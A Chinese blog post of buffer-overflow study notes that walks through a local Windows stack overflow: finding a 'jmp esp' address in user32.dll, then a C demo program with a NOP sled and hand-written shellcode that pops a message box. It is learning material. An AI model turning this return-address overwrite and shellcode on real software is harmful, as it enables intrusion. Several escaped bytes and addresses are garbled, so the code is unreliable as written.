缓冲区溢出学习笔记

来源:互联网 发布:日本捕鲸知乎 编辑:程序博客网 时间:2024/05/20 01:36

一:缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,我们使用精心设计的shellcode来覆盖合法的数据,从何使我们的shellcode得到执行。

缓冲区溢出堆栈原理图:

二:需要解决的几个小问题:

21缓冲区溢出后,用“jmp esp“指令地址覆盖原来的函数返回地址,执行jmp esp后,ip指针便指向缓冲区中我们的shellcode了,到哪去找“jmp esp“的地址呢?我们想到了windows的动态连接库user32.dll,我们在user32.dll中找一个“jmp esp“指令的地址不就行了吗.

22user32.dll载入ue,查找 FF E4,可能有人会问,你怎么知道jmp esp的机器码是FF E4?那好,我们来动手找出它来,编一个asm程序:

view plaincopy to clipboardprint?
  1. #include<iostream>  
  2.   
  3. using namespace std;  
  4.   
  5. int main()  
  6.   
  7. {  
  8.   
  9.      __asm  
  10.   
  11.      {  
  12.   
  13.          jmp esp;  
  14.   
  15.           
  16.   
  17.      }  
  18.   
  19.  return 0;  
  20.   
  21. }  

在VC中进入调试,然后查出JMP ESP对应的机器码

23确定FF E4user32.dll中的偏移地址

231ue打开user32.dll查找FF E4,

232peditor r载入user32.dll,选择右侧的FLC,offset处填上我们用ue查出来FF E4在文件中的偏移量,peditor自动计算出FF E4virtual address,77 d2 74 47

嘿嘿~,偷懒的办法,你也可以自己动手计算。

233动手计算:Va=16847h+77D10000h+c00h=77D27447,原理图如下:

在我机子上是(77D5B0E0)

PEEDIT中可以查出.text段的Virtual offset1000h,Raw offset 400h,

1000h-400h=c00h,即文件被装入内存后增加的部分

三.解决了以上几个小问题后,结合缓冲区溢出堆栈原理图和一个本地溢出的程序,使用vc7.0反汇编调试一下,进一步动手实践。

给出我用来调试的程序:

view plaincopy to clipboardprint?
  1. #include <string.h>  
  2.  
  3. #include <stdio.h>  
  4.   
  5. #include <windows.h>  
  6.  
  7. #define JUMPESP "/x28/x59/xD8/x77"//user32.dll中jmp esp指令的偏移量  
  8.   
  9. unsigned char eip[8] = JUMPESP;   
  10.   
  11. unsigned char sploit[] =   
  12.   
  13. {                
  14.   
  15. "/x60"           
  16.   
  17. "/x8B/xEC"          
  18.   
  19. "/x83/xEC/x54"        
  20.   
  21. "/x33/xC9"          
  22.   
  23. "/xC6/x45/xDB/x75"   
  24.   
  25. "/xC6/x45/xDC/x73"      
  26.   
  27. "/xC6/x45/xDD/x65"    
  28.   
  29. "/xC6/x45/xDE/x72"     
  30.   
  31. "/xC6/x45/xDF/x33"     
  32.   
  33. "/xC6/x45/xE0/x32"    
  34.   
  35. "/xC6/x45/xE7/x2E"      
  36.   
  37. "/xC6/x45/xE/x64"      
  38.   
  39. "/xC6/x45/xE9/x6C"     
  40.   
  41. "/xC6/x45/xEA/x6C"     
  42.   
  43. "/x88/x4D/xEB"         
  44.   
  45. "/x8D/x45/xDB"         
  46.   
  47. "/x50"              
  48.   
  49. "/xB8/x77/x1D/x80/x7C"    
  50.   
  51. "/xFF/xD0"            
  52.   
  53. "/x55"              
  54.   
  55. "/x51"              
  56.   
  57. "/x8B/xEC"            
  58.   
  59. "/x83/xEC/x54"         
  60.   
  61. "/x33/xC9"            
  62.   
  63. "/xC6/x45/xEC/x53"      
  64.   
  65. "/xC6/x45/xED/x75"      
  66.   
  67. "/xC6/x45/xEE/x63"      
  68.   
  69. "/xC6/x45/xEF/x63"      
  70.   
  71. "/xC6/x45/xF0/x65"      
  72.   
  73. "/xC6/x45/xF1/x73"      
  74.   
  75. "/xC6/x45/xF2/x73"     
  76.   
  77. "/x88/x4D/xF3"         
  78.   
  79. "/xC6/x45/xF4/x57"      
  80.   
  81. "/xC6/x45/xF5/x65"     
  82.   
  83. "/xC6/x45/xF6/x20"      
  84.   
  85. "/xC6/x45/xF7/x47"      
  86.   
  87. "/xC6/x45/xF8/x6F"     
  88.   
  89. "/xC6/x45/xF9/x74"     
  90.   
  91. "/xC6/x45/xFA/x20"     
  92.   
  93. "/xC6/x45/xFB/x49"    
  94.   
  95. "/xC6/x45/xFC/x74"     
  96.   
  97. "/xC6/x45/xFD/x21"      
  98.   
  99. "/x88/x4D/xFE"         
  100.   
  101. "/x51"              
  102.   
  103. "/x8D/x45/xEC"         
  104.   
  105. "/x50"              
  106.   
  107. "/x8D/x45/xF4"         
  108.   
  109. "/x50"              
  110.   
  111. "/x51"              
  112.   
  113. "/xB8/xEA/x04/xD5/x77"     
  114.   
  115. "/xFF/xD0"            
  116.   
  117. "/x33/xDB"           
  118.   
  119. "/x53"                                            
  120.   
  121. "/xB8/xA2/xCA/x81/x7C"     
  122.   
  123. "/xFF/xD0"            
  124.   
  125. "/x8B/xE5"            
  126.   
  127. "/x61"  
  128.   
  129.   
  130.   
  131. };  
  132.   
  133. int  MyCopy( char* str )  
  134.   
  135. {  
  136.   
  137.  char buff1[50];  
  138.   
  139.  strcpy(buff1,str);  
  140.   
  141.  return 1;   
  142.   
  143. }  
  144.   
  145. int main()  
  146.   
  147. {  
  148.   
  149. HINSTANCE u32=NULL;  
  150.   
  151. u32=LoadLibrary("user32.dll");  
  152.   
  153. if(u32==NULL)  
  154.   
  155. {  
  156.   
  157.      printf("cann't load user32.dll");  
  158.   
  159. }  
  160.   
  161.  char Buff[1024];  
  162.   
  163.  memset(&Buff,0,sizeof(Buff));  
  164.   
  165.  for(int i=0;i<56;Buff[i++]=0x90);  
  166.   
  167.  strcpy(Buff+56,(char *)eip);//  
  168.   
  169.  strcpy(Buff+60,(char *)sploit);//  
  170.   
  171.  MyCopy(Buff);  
  172.   
  173.  printf("/n successed /n");  
  174.   
  175.  return 0;  
  176.   
  177. }  

调试步骤:

31vc7.0中按下 F11

32 在发生溢出的函数MyCopy那里下个断点(按下F9).

==================================================================

33    F11单步进入。

==================================================================

注意esp,ebp的变化

34 ret后就来到我们的shellcode了。

原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 宝宝睡觉不爱盖被子怎么办 1岁宝宝不盖被子怎么办 2岁宝宝不盖被子怎么办 买的芬琳漆不够刷的怎么办 1.3米宽厨房门怎么办 墙面漆颜色刷深了怎么办 地板上沾了墙漆怎么办 孩子连发高烧8天了怎么办 孩子对数字不敏感怎么办 三岁宝宝不爱学习怎么办 5岁还不认识数字怎么办 小孩上中班还不认识数字怎么办 中班小孩数字都不认识怎么办 中班小孩记不住数字怎么办 中班小孩不肯练数字描红怎么办 2个月吃母乳婴儿缺钙怎么办 月经期接吻水多怎么办 4岁宝宝晚上尿多怎么办 2岁宝宝晚上尿多怎么办 3岁宝宝晚上尿多怎么办 宝宝拉肚子拉绿色的屎怎么办 婴儿吃奶粉大便干燥怎么办 母乳宝宝不拉大便怎么办 我儿子8岁拉肚子怎么办 1岁宝宝经常便秘怎么办 两个月宝宝拉水怎么办 宝宝吃奶粉上火便秘怎么办 20多天的宝宝便秘怎么办 宝宝五十天消化不良不拉屎怎么办 一周七个月宝宝消化不良拉屎怎么办 孩子总是消化不良拉屎不成型怎么办 一岁宝宝长牙慢怎么办 一岁宝宝不喝水怎么办 七个月的宝宝咳嗽怎么办 怀孕七个月感冒了怎么办 苹果汁弄到白色衣服怎么办 宝宝大便干燥拉不出来怎么办 婴儿吃过青菜米粉呕吐怎么办 50天宝宝便秘5天怎么办 8个月婴幼儿便秘怎么办 1个月婴幼儿便秘怎么办